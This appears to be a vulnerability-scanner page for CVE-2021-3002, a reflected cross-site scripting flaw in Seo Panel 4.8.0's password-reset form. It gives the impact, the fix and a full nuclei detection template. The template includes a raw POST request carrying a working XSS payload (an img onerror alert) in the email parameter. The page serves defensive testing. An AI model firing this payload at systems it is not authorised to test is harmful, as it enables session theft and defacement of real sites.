Seo Panel 4.8.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.3%likelihood of exploitation, next 30 days

91%of all CVEs are less likely

Readycheck to confirm it

Seo Panel 4.8.0 contains a reflected cross-site scripting vulnerability via the seo/seopanel/login.php?sec=forgot email parameter.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.

Fix

Upgrade to a patched version of Seo Panel or apply the necessary security patches provided by the vendor.

How to confirm it

Send: POST /seo/seopanel/login.php?sec=forgot
Positive when: contains in header "text/html" AND contains "<img src=a onerror=alert(document.domain)>" and "seopanel" AND status 200

Run it with nuclei: nuclei -id CVE-2021-3002 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-3002

info:
  name: Seo Panel 4.8.0 - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: Seo Panel 4.8.0 contains a reflected cross-site scripting vulnerability via the seo/seopanel/login.php?sec=forgot email parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Upgrade to a patched version of Seo Panel or apply the necessary security patches provided by the vendor.
  reference:
    - http://www.cinquino.eu/SeoPanelReflect.htm
    - https://github.com/seopanel/Seo-Panel/issues/202
    - https://nvd.nist.gov/vuln/detail/CVE-2021-3002
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/ArrestX/--POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-3002
    cwe-id: CWE-79
    epss-score: 0.04278
    epss-percentile: 0.91181
    cpe: cpe:2.3:a:seopanel:seo_panel:4.8.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: seopanel
    product: seo_panel
  tags: cve2021,cve,seopanel,xss,vuln

http:
  - raw:
      - |
        POST /seo/seopanel/login.php?sec=forgot HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        sec=requestpass&email=test%40test.com%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3e11&code=AAAAA&login=

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"

      - type: word
        part: body
        words:
          - "<img src=a onerror=alert(document.domain)>"
          - "seopanel"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from